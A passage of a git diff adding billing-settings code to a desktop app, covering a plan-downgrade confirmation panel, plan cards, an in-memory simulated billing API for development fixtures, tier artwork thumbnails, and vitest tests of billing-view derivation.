+function DowngradeConfirm({ flow, tier }: { flow: DowngradeFlow; tier: BillingPlanTierView }) {
+  const active = flow.active
+  const panelRef = useRef<HTMLDivElement>(null)
+  const open = active?.target.tierId === tier.tierId
+
+  // Move focus into the panel on open so keyboard users land on the confirm flow;
+  // role="status"/aria-live announces the async preview text as it arrives.
+  useEffect(() => {
+    if (open) {
+      panelRef.current?.focus()
+    }
+  }, [open])
+
+  if (!active || active.target.tierId !== tier.tierId) {
+    return null
+  }
+
+  const { phase } = active
+  const captionCn = 'text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)'
+  const refusal = phase.kind === 'previewFailed' || phase.kind === 'scheduleFailed' ? phase.refusal : null
+  const busy = phase.kind === 'previewing' || phase.kind === 'scheduling'
+  const message = previewMessage(phase, tier.name)
+
+  const canConfirm =
+    (phase.kind === 'ready' && phase.preview.effect === 'scheduled') ||
+    phase.kind === 'scheduling' ||
+    phase.kind === 'scheduleFailed'
+
+  return (
+    <div
+      aria-live="polite"
+      className="flex min-w-0 flex-col gap-2 rounded-md bg-(--ui-bg-elevated) p-3 outline-none"
+      ref={panelRef}
+      role="status"
+      tabIndex={-1}
+    >
+      {message && <div className={captionCn}>{message}</div>}
+
+      <BillingRefusalInline refusal={refusal} />
+
+      <div className="flex min-w-0 flex-wrap items-center gap-2">
+        {phase.kind === 'previewFailed' ? (
+          <Button disabled={busy} onClick={flow.retryPreview} size="sm" type="button">
+            Try again
+          </Button>
+        ) : canConfirm ? (
+          <Button disabled={busy} onClick={() => void flow.confirm()} size="sm" type="button">
+            {phase.kind === 'scheduling'
+              ? 'Scheduling…'
+              : phase.kind === 'scheduleFailed'
+                ? 'Try again'
+                : 'Confirm downgrade'}
+          </Button>
+        ) : null}
+        <Button disabled={busy} onClick={flow.cancel} size="sm" type="button" variant="outline">
+          Cancel
+        </Button>
+      </div>
+    </div>
+  )
+}
+
+function PlanCard({ flow, tier }: { flow: DowngradeFlow; tier: BillingPlanTierView }) {
+  const isCurrent = tier.state === 'current'
+  const confirming = flow.active?.target.tierId === tier.tierId
+  const cardRef = useRef<HTMLDivElement>(null)
+  const wasConfirming = useRef(false)
+
+  // When the confirm panel closes (cancel / scheduled), return focus to this tile
+  // so keyboard focus is never left detached on the removed panel.
+  // eslint-disable-next-line no-restricted-syntax -- tracks previous confirming state for focus return, not an atom mirror
+  useEffect(() => {
+    if (wasConfirming.current && !confirming) {
+      cardRef.current?.focus()
+    }
+
+    wasConfirming.current = confirming
+  }, [confirming])
+
+  return (
+    <div
+      className={cn(
+        'flex min-w-0 flex-col gap-3 rounded-lg p-4 outline-none',
+        isCurrent ? 'bg-(--ui-green)/10' : 'bg-(--ui-bg-quaternary)'
+      )}
+      ref={cardRef}
+      tabIndex={-1}
+    >
+      <div className="flex min-w-0 items-center gap-3">
+        <TierArt name={tier.name} />
+        <div className="min-w-0">
+          <div className="truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {tier.name}
+          </div>
+          <div className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {tier.priceDisplay}/mo
+          </div>
+        </div>
+      </div>
+
+      {tier.creditsDisplay && (
+        <div className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          {tier.creditsDisplay}
+        </div>
+      )}
+
+      <div className="mt-auto min-w-0 pt-1">
+        {isCurrent && <Pill tone="primary">Current plan</Pill>}
+
+        {tier.state === 'scheduled' && <Pill>Scheduled</Pill>}
+
+        {tier.state === 'upgrade' && (
+          <Button
+            onClick={() => tier.action && openExternalLink(tier.action.url)}
+            size="sm"
+            type="button"
+            variant="outline"
+          >
+            {tier.action.label}
+            <ExternalLink className="size-3.5" />
+          </Button>
+        )}
+
+        {tier.state === 'downgrade' &&
+          (confirming ? (
+            <DowngradeConfirm flow={flow} tier={tier} />
+          ) : (
+            // Disabled while another tile's change is committing — no concurrent mutation.
+            <Button
+              disabled={flow.mutating}
+              onClick={() => flow.begin({ tierId: tier.tierId, tierName: tier.name })}
+              size="sm"
+              type="button"
+              variant="outline"
+            >
+              Downgrade
+            </Button>
+          ))}
+      </div>
+    </div>
+  )
+}
+
+export function BillingPlansView({ onBack, tiers }: { onBack: () => void; tiers: BillingPlanTierView[] }) {
+  // A scheduled downgrade lands the user back on the overview, where the plan card
+  // now shows the pending state with its undo.
+  const flow = useDowngradeFlow({ onScheduled: onBack })
+
+  return (
+    <div className="@container">
+      <div className="mb-2.5 flex items-center gap-2 pt-2 text-[length:var(--conversation-text-font-size)] font-medium">
+        <Button
+          aria-label="Back to billing"
+          className="size-7 p-0 text-(--ui-text-tertiary)"
+          disabled={flow.mutating}
+          onClick={onBack}
+          size="sm"
+          type="button"
+          variant="ghost"
+        >
+          <ChevronLeft className="size-4" />
+        </Button>
+        <span>Plans</span>
+      </div>
+
+      {tiers.length > 0 ? (
+        <div className="grid gap-3 @lg:grid-cols-2 @3xl:grid-cols-3">
+          {tiers.map(tier => (
+            <PlanCard flow={flow} key={tier.tierId} tier={tier} />
+          ))}
+        </div>
+      ) : (
+        <div className="rounded-xl bg-(--ui-bg-quaternary) p-4 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          No plans are available to change to right now.
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/simulated-api.test.ts b/ui-desktop/src/app/settings/billing/simulated-api.test.ts
new file mode 100644
index 000000000..4582f967c
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/simulated-api.test.ts
@@ -0,0 +1,57 @@
+import { describe, expect, it } from 'vitest'
+
+import { billingDevFixtures } from './dev-fixtures'
+import { createSimulatedBillingApi } from './simulated-api'
+import { deriveBillingView } from './use-billing-state'
+
+const FREE_TIER_ID = 'cltier000free0000personal'
+
+describe('createSimulatedBillingApi', () => {
+  it('progresses the pending state through the whole loop: schedule sets it, resume clears it', async () => {
+    const api = createSimulatedBillingApi(billingDevFixtures['subscriber-personal'])
+    const billing = await api.fetchBillingState()
+
+    // Baseline: subscriber on Plus, nothing pending.
+    const before = deriveBillingView(billing, await api.fetchSubscriptionState())
+    expect(before.plan?.pending).toBeUndefined()
+
+    // Schedule a downgrade to Free → the very next fetch shows the pending card + marker.
+    expect((await api.scheduleSubscriptionChange(FREE_TIER_ID)).ok).toBe(true)
+    const afterSchedule = deriveBillingView(billing, await api.fetchSubscriptionState())
+    expect(afterSchedule.plan?.pending).toMatchObject({ kind: 'downgrade', tierName: 'Free' })
+    expect(afterSchedule.tiers.find(tier => tier.name === 'Free')?.state).toBe('scheduled')
+
+    // Undo → pending cleared on the next fetch.
+    expect((await api.resumeSubscription()).ok).toBe(true)
+    const afterResume = deriveBillingView(billing, await api.fetchSubscriptionState())
+    expect(afterResume.plan?.pending).toBeUndefined()
+    expect(afterResume.tiers.some(tier => tier.state === 'scheduled')).toBe(false)
+  })
+
+  it('previews a chargeless scheduled change for the chosen tier', async () => {
+    const api = createSimulatedBillingApi(billingDevFixtures['subscriber-personal'])
+    const preview = await api.previewSubscriptionChange(FREE_TIER_ID)
+
+    expect(preview).toMatchObject({ data: { effect: 'scheduled', target_tier_name: 'Free' }, ok: true })
+  })
+
+  it('undoes a scheduled cancellation too', async () => {
+    const api = createSimulatedBillingApi(billingDevFixtures['pending-cancellation'])
+    const billing = await api.fetchBillingState()
+
+    expect(deriveBillingView(billing, await api.fetchSubscriptionState()).plan?.pending).toMatchObject({
+      kind: 'cancellation'
+    })
+
+    await api.resumeSubscription()
+    expect(deriveBillingView(billing, await api.fetchSubscriptionState()).plan?.pending).toBeUndefined()
+  })
+
+  it('does not mutate the shared fixture object', async () => {
+    const api = createSimulatedBillingApi(billingDevFixtures['subscriber-personal'])
+    await api.scheduleSubscriptionChange(FREE_TIER_ID)
+
+    const fixture = billingDevFixtures['subscriber-personal']
+    expect(deriveBillingView(fixture.billing, fixture.subscription).plan?.pending).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/simulated-api.ts b/ui-desktop/src/app/settings/billing/simulated-api.ts
new file mode 100644
index 000000000..a03ac3217
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/simulated-api.ts
@@ -0,0 +1,89 @@
+import type { BillingApi, BillingResult } from './api'
+import type { BillingStateResponse, SubscriptionPreviewResponse, SubscriptionStateResponse } from './types'
+
+/** The shape of one `billingDevFixtures` entry — a canned billing + subscription pair. */
+export interface SimulatedFixture {
+  billing: BillingResult<BillingStateResponse>
+  subscription: BillingResult<SubscriptionStateResponse>
+}
+
+// A visible-but-brief pause so the live fixture loop actually sees the "Checking…" /
+// "Scheduling…" / "Undoing…" transitions rather than an instant flip.
+const SIMULATED_DELAY_MS = 300
+
+const delay = (ms: number) => new Promise<void>(resolve => setTimeout(resolve, ms))
+
+const ok = <T>(data: T): BillingResult<T> => ({ data, ok: true })
+
+/**
+ * A fully in-memory BillingApi for DEV fixtures — no gateway. Fetches serve a mutable
+ * copy of the fixture, and the subscription-change mutations WRITE that copy's pending
+ * state, so the fixture click-through genuinely progresses: schedule sets a pending
+ * downgrade (→ the plan card's "Changes to …" + Undo, and the grid's Scheduled marker
+ * on refetch), and resume clears any pending downgrade OR cancellation. Consumers reach
+ * it transparently via `useBillingApi` (overridden by BillingApiProvider), so no code
+ * outside this file is fixture-aware.
+ */
+export function createSimulatedBillingApi(fixture: SimulatedFixture): BillingApi {
+  const billing = fixture.billing
+  // Mutable copy so scheduling/undo don't leak back into the shared fixture object.
+  let subscription: BillingResult<SubscriptionStateResponse> = structuredClone(fixture.subscription)
+
+  const patchCurrent = (patch: Partial<NonNullable<SubscriptionStateResponse['current']>>) => {
+    if (subscription.ok && subscription.data.current) {
+      subscription = ok({ ...subscription.data, current: { ...subscription.data.current, ...patch } })
+    }
+  }
+
+  const tierName = (tierId: string): null | string =>
+    (subscription.ok ? subscription.data.tiers.find(tier => tier.tier_id === tierId)?.name : null) ?? null
+
+  return {
+    charge: async (_amountUsd, idempotencyKey = 'sim-key') => ({
+      data: { charge_id: 'sim-charge', ok: true },
+      idempotencyKey,
+      ok: true
+    }),
+    chargeStatus: async () => ok({ amount_usd: '0', ok: true, settled_at: null, status: 'settled' }),
+    fetchBillingState: async () => billing,
+    fetchSubscriptionState: async () => subscription,
+    previewSubscriptionChange: async tierId => {
+      await delay(SIMULATED_DELAY_MS)
+
+      const preview: SubscriptionPreviewResponse = {
+        effect: 'scheduled',
+        effective_at: subscription.ok ? (subscription.data.current?.cycle_ends_at ?? null) : null,
+        ok: true,
+        target_tier_name: tierName(tierId)
+      }
+
+      return ok(preview)
+    },
+    resumeSubscription: async () => {
+      await delay(SIMULATED_DELAY_MS)
+      // Undo either scheduled change kind.
+      patchCurrent({
+        cancel_at_period_end: false,
+        cancellation_effective_at: null,
+        cancellation_effective_display: null,
+        pending_downgrade_at: null,
+        pending_downgrade_display: null,
+        pending_downgrade_tier_name: null
+      })
+
+      return ok({ message: 'Change cancelled.', ok: true })
+    },
+    scheduleSubscriptionChange: async tierId => {
+      await delay(SIMULATED_DELAY_MS)
+      patchCurrent({
+        pending_downgrade_at: subscription.ok ? (subscription.data.current?.cycle_ends_at ?? null) : null,
+        pending_downgrade_display: null,
+        pending_downgrade_tier_name: tierName(tierId)
+      })
+
+      return ok({ message: 'Downgrade scheduled.', ok: true })
+    },
+    stepUp: async () => ok({ granted: true, ok: true }),
+    updateAutoReload: async () => ok({ ok: true })
+  }
+}
diff --git a/ui-desktop/src/app/settings/billing/tier-art.test.ts b/ui-desktop/src/app/settings/billing/tier-art.test.ts
new file mode 100644
index 000000000..60d8d4291
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/tier-art.test.ts
@@ -0,0 +1,25 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolveTierArt } from './tier-art'
+
+describe('resolveTierArt', () => {
+  it('keys art by lowercase tier name, case-insensitively', () => {
+    for (const name of ['Free', 'starter', 'Plus', 'SUPER', 'ultra']) {
+      expect(resolveTierArt(name)).not.toBeNull()
+    }
+  })
+
+  it('maps each named tier to its NAS blend mode', () => {
+    expect(resolveTierArt('free')?.blend).toBe('screen')
+    expect(resolveTierArt('plus')?.blend).toBe('screen')
+    expect(resolveTierArt('super')?.blend).toBe('lighten')
+    expect(resolveTierArt('ultra')?.blend).toBe('normal')
+  })
+
+  it('returns null for unknown or missing names so the card renders text-only', () => {
+    expect(resolveTierArt('Mystery')).toBeNull()
+    expect(resolveTierArt('')).toBeNull()
+    expect(resolveTierArt(null)).toBeNull()
+    expect(resolveTierArt(undefined)).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/tier-art.tsx b/ui-desktop/src/app/settings/billing/tier-art.tsx
new file mode 100644
index 000000000..9d34a048a
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/tier-art.tsx
@@ -0,0 +1,69 @@
+import automationArt from '@/assets/tiers/feature-automation.webp'
+import connectArt from '@/assets/tiers/feature-connect.webp'
+import memoryArt from '@/assets/tiers/feature-memory.webp'
+import sandboxArt from '@/assets/tiers/feature-sandbox.webp'
+import { cn } from '@/lib/utils'
+
+// Reproduces the portal's tier-card hero treatment at thumbnail size: each webp sits
+// over a solid Nous-blue well and blends into it. This blue well is the ONLY place
+// Nous blue appears in the billing page — everything else stays on the app's own tokens.
+const NOUS_BLUE = '#0000f2'
+
+const BLEND_CLASS = {
+  lighten: 'mix-blend-lighten',
+  normal: '',
+  screen: 'mix-blend-screen'
+} as const
+
+type TierBlend = keyof typeof BLEND_CLASS
+
+interface TierArtSpec {
+  blend: TierBlend
+  src: string
+}
+
+// Keyed by lowercase tier NAME, not tier_id: real tier_ids are Prisma cuids that
+// differ per environment, while names are stable. `free`/`starter` share the
+// entry-tier art. An unknown name resolves to null → the card renders text-only.
+const TIER_ART: Record<string, TierArtSpec> = {
+  free: { blend: 'screen', src: connectArt },
+  plus: { blend: 'screen', src: memoryArt },
+  starter: { blend: 'screen', src: connectArt },
+  super: { blend: 'lighten', src: automationArt },
+  ultra: { blend: 'normal', src: sandboxArt }
+}
+
+export function resolveTierArt(tierName?: null | string): null | TierArtSpec {
+  if (!tierName) {
+    return null
+  }
+
+  return TIER_ART[tierName.trim().toLowerCase()] ?? null
+}
+
+/**
+ * Small rounded thumbnail (~40px) rendering the tier art over a Nous-blue well.
+ * Returns null for unknown tiers so the caller lays out a text-only card without
+ * reserving empty art space. Imported via vite static imports so the URLs resolve
+ * under a packaged `file://` origin with webSecurity on.
+ */
+export function TierArt({ className, name, size = 40 }: { className?: string; name?: null | string; size?: number }) {
+  const art = resolveTierArt(name)
+
+  if (!art) {
+    return null
+  }
+
+  return (
+    <div
+      className={cn('relative shrink-0 overflow-hidden rounded-md', className)}
+      style={{ background: NOUS_BLUE, height: size, width: size }}
+    >
+      <img
+        alt=""
+        className={cn('pointer-events-none absolute inset-0 size-full max-w-none object-cover', BLEND_CLASS[art.blend])}
+        src={art.src}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/types.test.ts b/ui-desktop/src/app/settings/billing/types.test.ts
new file mode 100644
index 000000000..136a998e8
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/types.test.ts
@@ -0,0 +1,117 @@
+import { describe, expect, it } from 'vitest'
+
+import type { BillingStateResponse, SubscriptionStateResponse } from './types'
+
+const fullBillingState = {
+  auto_reload: {
+    card: { kind: 'canonical' },
+    enabled: true,
+    reload_to_display: '$100',
+    reload_to_usd: '100',
+    threshold_display: '$25',
+    threshold_usd: '25'
+  },
+  balance_display: '$142.50',
+  balance_usd: '142.50',
+  can_charge: true,
+  card: {
+    brand: 'visa',
+    display: 'Visa ....4242 - the card on your subscription',
+    last4: '4242',
+    masked: 'visa ....4242',
+    resolved_via: 'subPin'
+  },
+  charge_presets: ['25', '50', '100'],
+  charge_presets_display: ['$25', '$50', '$100'],
+  cli_billing_enabled: true,
+  is_admin: true,
+  logged_in: true,
+  max_usd: '10000',
+  min_usd: '10',
+  monthly_cap: {
+    is_default_ceiling: false,
+    limit_display: '$1,000',
+    limit_usd: '1000',
+    spent_display: '$180',
+    spent_this_month_usd: '180'
+  },
+  ok: true,
+  org_name: 'Acme Research',
+  portal_url: 'https://portal.invalid/billing',
+  role: 'OWNER',
+  usage: {
+    available: true,
+    has_topup: true,
+    plan_bar: {
+      fill_fraction: 0.4,
+      kind: 'plan',
+      pct_used: 60,
+      remaining_display: '$40',
+      spent_display: '$60',
+      total_display: '$100'
+    },
+    plan_name: 'Pro',
+    renews_at: '2026-07-31T00:00:00Z',
+    renews_display: 'Jul 31',
+    status: 'active',
+    subscription_remaining_display: '$40',
+    topup_bar: {
+      fill_fraction: 0.75,
+      kind: 'topup',
+      pct_used: 25,
+      remaining_display: '$75',
+      spent_display: '$25',
+      total_display: '$100'
+    },
+    topup_remaining_display: '$75',
+    total_spendable_display: '$115'
+  }
+} satisfies BillingStateResponse
+
+const deployedTodayBillingState = {
+  auto_reload: null,
+  balance_display: '$0.00',
+  balance_usd: null,
+  can_charge: false,
+  card: {
+    brand: 'mastercard',
+    last4: '4444',
+    masked: 'mastercard ....4444'
+  },
+  charge_presets: [],
+  charge_presets_display: [],
+  cli_billing_enabled: false,
+  is_admin: true,
+  logged_in: true,
+  max_usd: null,
+  min_usd: null,
+  monthly_cap: null,
+  ok: true,
+  org_name: 'Fresh Deploy',
+  portal_url: null,
+  role: 'OWNER'
+} satisfies BillingStateResponse
+
+const loggedOutSubscriptionState = {
+  can_change_plan: false,
+  context: 'personal',
+  current: null,
+  is_admin: false,
+  logged_in: false,
+  ok: true,
+  org_id: null,
+  org_name: null,
+  portal_url: 'https://portal.invalid/login',
+  role: null,
+  tiers: []
+} satisfies SubscriptionStateResponse
+
+describe('desktop billing wire types', () => {
+  it('pins realistic billing and subscription RPC payload shapes', () => {
+    expect(fullBillingState.card?.resolved_via).toBe('subPin')
+    expect(deployedTodayBillingState.can_charge).toBe(false)
+    expect(deployedTodayBillingState.cli_billing_enabled).toBe(false)
+    expect(deployedTodayBillingState.card?.last4).toBe('4444')
+    expect(loggedOutSubscriptionState.logged_in).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/types.ts b/ui-desktop/src/app/settings/billing/types.ts
new file mode 100644
index 000000000..9fcf39d6a
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/types.ts
@@ -0,0 +1,35 @@
+import type {
+  BillingAutoReload,
+  BillingCardInfo,
+  BillingChargeResponse,
+  BillingChargeStatusResponse,
+  BillingErrorPayload,
+  BillingMonthlyCap,
+  BillingMutationResponse,
+  BillingRefusalCode,
+  BillingStateResponse,
+  ChargeFailureReason,
+  SubscriptionPreviewResponse,
+  SubscriptionStateResponse,
+  SubscriptionTierOption,
+  UsageBarData,
+  UsageModelData
+} from '@clawcodex/shared/billing'
+
+export type {
+  BillingAutoReload,
+  BillingCardInfo,
+  BillingChargeResponse,
+  BillingChargeStatusResponse,
+  BillingErrorPayload,
+  BillingMonthlyCap,
+  BillingMutationResponse,
+  BillingRefusalCode,
+  BillingStateResponse,
+  ChargeFailureReason,
+  SubscriptionPreviewResponse,
+  SubscriptionStateResponse,
+  SubscriptionTierOption,
+  UsageBarData,
+  UsageModelData
+}
diff --git a/ui-desktop/src/app/settings/billing/use-billing-state.test.ts b/ui-desktop/src/app/settings/billing/use-billing-state.test.ts
new file mode 100644
index 000000000..71ab23c33
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-billing-state.test.ts
@@ -0,0 +1,765 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  billingDevFixtures,
+  endpointUnavailableBilling,
+  endpointUnavailableSubscription,
+  loggedOutBillingState,
+  loggedOutSubscriptionState,
+  okBilling,
+  okSubscription,
+  postTrainBillingState,
+  postTrainSubscriptionState,
+  todayBillingState,
+  todaySubscriptionState
+} from './fixtures.test-util'
+import { buildManageSubscriptionUrl, deriveBillingView, formatMonthlyCreditsDelta } from './use-billing-state'
+
+function usageRowFor(
+  fixtureName: keyof typeof billingDevFixtures,
+  rowId: 'monthly_cap' | 'subscription_credits' | 'topup_credits'
+) {
+  const fixture = billingDevFixtures[fixtureName]
+  const view = deriveBillingView(fixture.billing, fixture.subscription)
+
+  return view.usageRows.find(row => row.id === rowId)
+}
+
+function subscriptionCreditsRowForRemaining(remaining: string) {
+  const view = deriveBillingView(
+    okBilling(todayBillingState),
+    okSubscription({
+      ...todaySubscriptionState,
+      current: { ...todaySubscriptionState.current, credits_remaining: remaining, monthly_credits: '220' }
+    })
+  )
+
+  return view.usageRows.find(row => row.id === 'subscription_credits')
+}
+
+function monthlyCapRowForSpent(spent: string) {
+  const view = deriveBillingView(
+    okBilling({
+      ...todayBillingState,
+      monthly_cap: {
+        is_default_ceiling: false,
+        limit_display: '$100',
+        limit_usd: '100',
+        spent_display: `$${spent}`,
+        spent_this_month_usd: spent
+      }
+    }),
+    okSubscription(todaySubscriptionState)
+  )
+
+  return view.usageRows.find(row => row.id === 'monthly_cap')
+}
+
+describe('deriveBillingView', () => {
+  it('derives the deployed-today shape with fail-open disabled charge controls', () => {
+    const view = deriveBillingView(okBilling(todayBillingState), okSubscription(todaySubscriptionState))
+
+    expect(view.status).toBe('normal')
+    expect(view.summary).toContainEqual({ label: 'Balance', value: '$996.47' })
+    expect(view.summary).toContainEqual({ label: 'Plan', value: 'Ultra · $200/mo' })
+    expect(view.topupRow?.description).toBe(
+      "Remote spending is off for this account — a billing admin can turn it on from the portal's ClawCodex page."
+    )
+    expect(view.topupRow?.chips).toBeUndefined()
+    expect(view.refillRow).toMatchObject({
+      action: { label: 'Manage' },
+      description: 'Charges $10 automatically when your balance falls below $5.',
+      manageInApp: true,
+      pill: { label: 'Enabled', tone: 'primary' }
+    })
+    expect(view.usageRows.map(row => row.id)).toEqual(['subscription_credits', 'topup_credits', 'monthly_cap'])
+  })
+
+  it('derives the post-train shape with card provenance, presets, and denominated usage bars', () => {
+    const view = deriveBillingView(okBilling(postTrainBillingState), okSubscription(postTrainSubscriptionState))
+
+    expect(view.status).toBe('normal')
+    expect(view.paymentRow?.value).toBe('Visa •••• 4242 - subscription card')
+    expect(view.topupRow?.chips?.map(chip => chip.label)).toEqual(['$25', '$50', '$100'])
+    expect(view.plan?.link?.url).toBe('https://portal.invalid/manage-subscription?org_id=org_123')
+    expect(view.usageRows.find(row => row.id === 'subscription_credits')).toMatchObject({
+      bar: { value: 0.4 },
+      value: '$40 of $100 left'
+    })
+  })
+
+  it('points divergent auto-refill cards at the portal for reconciliation', () => {
+    const view = deriveBillingView(
+      okBilling({
+        ...todayBillingState,
+        auto_reload: {
+          ...todayBillingState.auto_reload,
+          card: { kind: 'distinct', payment_method_id: 'pm_1', brand: 'mastercard', last4: '4444' }
+        }
+      }),
+      okSubscription(todaySubscriptionState)
+    )
+
+    expect(view.refillRow?.caption).toContain('Mastercard ••4444')
+    expect(view.refillRow?.caption).toContain('reconcile')
+    expect(view.refillRow?.action).toEqual({
+      label: 'Reconcile ↗',
+      url: 'https://portal.invalid/billing'
+    })
+  })
+
+  it('degrades safely when a divergent auto-refill card has no display details', () => {
+    const view = deriveBillingView(
+      okBilling({
+        ...todayBillingState,
+        auto_reload: {
+          ...todayBillingState.auto_reload,
+          card: { kind: 'distinct', payment_method_id: 'pm_1', brand: null, last4: null }
+        }
+      }),
+      okSubscription(todaySubscriptionState)
+    )
+
+    expect(view.refillRow?.caption).toContain('a different card')
+    expect(view.refillRow?.caption).not.toContain('null')
+    expect(view.refillRow?.action?.url).toBe('https://portal.invalid/billing')
+  })
+
+  it('renders the normal enabled auto-refill row when the card is null (no crash)', () => {
+    // The gateway emits auto_reload.card: null for a missing/unknown-kind card.
+    const view = deriveBillingView(
+      okBilling({ ...todayBillingState, auto_reload: { ...todayBillingState.auto_reload, card: null } }),
+      okSubscription(todaySubscriptionState)
+    )
+
+    expect(view.refillRow).toMatchObject({
+      action: { label: 'Manage' },
+      description: 'Charges $10 automatically when your balance falls below $5.',
+      manageInApp: true,
+      pill: { label: 'Enabled', tone: 'primary' }
+    })
+  })
+
+  it('keeps buy credit controls visible but disabled when no card is on file', () => {
+    const fixture = billingDevFixtures['no-card']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+    const buyCredits = view.topupRow
+
+    expect(buyCredits).toMatchObject({
+      action: { disabled: true, label: 'Buy' },
+      // The no-card blocker is explained once by the page-level notice, not
+      // duplicated (emoji and all) into the row description.
+      description: 'A single charge on your card, added to your balance today.'
+    })
+    expect(buyCredits?.description).not.toContain('💳')
+    expect(buyCredits?.chips?.map(chip => chip.disabled)).toEqual([true, true, true])
+    // The page still leads with the warn banner naming the blocker + fix.
+    expect(view.notice).toMatchObject({ title: 'No payment method on file', tone: 'warn' })
+  })
+
+  it('derives a calm logged-out card with no account or usage rows', () => {
+    const view = deriveBillingView(okBilling(loggedOutBillingState), okSubscription(loggedOutSubscriptionState))
+
+    expect(view.status).toBe('logged_out')
+    expect(view.summary.map(item => item.value)).toEqual(['—', '—', '—'])
+    expect(view.notice).toMatchObject({
+      title: 'Connect your Nous account'
+    })
+    expect(view.paymentRow).toBeUndefined()
+    expect(view.topupRow).toBeUndefined()
+    expect(view.refillRow).toBeUndefined()
+    expect(view.usageRows).toEqual([])
+  })
+
+  it('derives a refusal notice when billing.state is unavailable', () => {
+    const view = deriveBillingView(endpointUnavailableBilling, okSubscription(todaySubscriptionState))
+
+    expect(view.status).toBe('refusal')
+    expect(view.summary.map(item => item.value)).toEqual(['—', '—', '—'])
+    expect(view.notice).toMatchObject({
+      title: 'Billing endpoint unavailable'
+    })
+    expect(view.paymentRow).toBeUndefined()
+    expect(view.topupRow).toBeUndefined()
+    expect(view.refillRow).toBeUndefined()
+  })
+
+  it('keeps subscription unavailable as a plan-card degradation with a live portal link', () => {
+    const view = deriveBillingView(okBilling(todayBillingState), endpointUnavailableSubscription)
+
+    expect(view.status).toBe('normal')
+    expect(view.plan).toMatchObject({
+      caption: 'Subscription details are unavailable; opening the portal is still available.',
+      tierName: 'Ultra'
+    })
+    expect(view.plan?.action).toBeUndefined()
+    // The caption promises the portal is still reachable — so the link must exist.
+    expect(view.plan?.link).toMatchObject({
+      label: 'Adjust plan ↗',
+      url: 'https://portal.invalid/manage-subscription'
+    })
+  })
+
+  it('clamps overdrawn subscription credits to $0 and names the overage', () => {
+    const view = deriveBillingView(
+      okBilling(todayBillingState),
+      okSubscription({
+        ...todaySubscriptionState,
+        current: { ...todaySubscriptionState.current, credits_remaining: '-0.79', monthly_credits: '220' }
+      })
+    )
+
+    const row = view.usageRows.find(r => r.id === 'subscription_credits')
+    expect(row?.value).toBe('$0 of $220 left · $0.79 over')
+    expect(row?.bar?.value).toBe(0)
+  })
+
+  it('marks subscription remaining bars as ok above 10% and danger at or below 10%', () => {
+    const elevenPercent = subscriptionCreditsRowForRemaining('24.2')
+
+    expect(elevenPercent?.bar?.state).toBe('ok')
+    expect(elevenPercent?.bar?.value).toBeCloseTo(0.11)
+    expect(usageRowFor('healthy', 'subscription_credits')?.bar).toMatchObject({
+      state: 'ok',
+      value: 0.6
+    })
+
+    // Owner wording is "green until 10%, then red"; the exact 10% boundary is red.
+    expect(usageRowFor('boundary', 'subscription_credits')?.bar).toMatchObject({
+      state: 'danger',
+      value: 0.1
+    })
+
+    expect(usageRowFor('low', 'subscription_credits')?.bar).toMatchObject({
+      state: 'danger',
+      value: 0.09
+    })
+  })
+
+  it('marks empty or overdrawn subscription bars as danger with a full danger track', () => {
+    const row = usageRowFor('empty-overdrawn', 'subscription_credits')
+
+    expect(row?.value).toBe('$0 of $220 left · $0.79 over')
+    expect(row?.bar).toMatchObject({
+      state: 'danger',
+      track: 'danger',
+      value: 0
+    })
+  })
+
+  it('marks monthly cap bars as neutral below 90% and danger at or above 90%', () => {
+    expect(usageRowFor('healthy', 'monthly_cap')?.bar).toMatchObject({
+      state: 'ok',
+      value: 0.89
+    })
+
+    expect(monthlyCapRowForSpent('90')?.bar).toMatchObject({
+      state: 'danger',
+      value: 0.9
+    })
+
+    expect(usageRowFor('cap-near', 'monthly_cap')?.bar).toMatchObject({
+      state: 'danger',
+      value: 0.92
+    })
+
+    expect(usageRowFor('cap-hit', 'monthly_cap')?.bar).toMatchObject({
+      state: 'danger',
+      track: 'danger',
+      value: 1
+    })
+  })
+
+  it('renders top-up balance as a bare amount — no bar (no denominator exists)', () => {
+    const view = deriveBillingView(okBilling(postTrainBillingState), okSubscription(postTrainSubscriptionState))
+    const topup = view.usageRows.find(row => row.id === 'topup_credits')
+
+    expect(topup?.value).toBe('$75')
+    expect(topup?.bar).toBeUndefined()
+  })
+
+  it('renders zero top-up balance without a bar too', () => {
+    const view = deriveBillingView(
+      okBilling({
+        ...todayBillingState,
+        balance_display: '$0',
+        balance_usd: '0',
+        usage: {
+          ...todayBillingState.usage,
+          topup_remaining_display: '$0'
+        }
+      }),
+      undefined
+    )
+
+    const topup = view.usageRows.find(row => row.id === 'topup_credits')
+
+    expect(topup?.value).toBe('$0')
+    expect(topup?.bar).toBeUndefined()
+  })
+})
+
+describe('derivePlanCard (current-plan card)', () => {
+  it('offers an in-app "View plans" button for a free personal account that can change plans', () => {
+    const fixture = billingDevFixtures['free-personal']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+
+    expect(view.plan).toMatchObject({ action: { label: 'View plans' }, tierName: 'Free' })
+    expect(view.plan?.link).toBeUndefined()
+  })
+
+  it('offers an in-app "Change plan" button for a personal subscriber', () => {
+    const fixture = billingDevFixtures['subscriber-personal']
+    const view = deriveBillingView(fixture.billing, fixture.subscription)
+
+    expect(view.plan).toMatchObject({ action: { label: 'Change plan' }, price: '$20', tierName: 'Plus' })
+    expect(view.plan?.link).toBeUndefined()
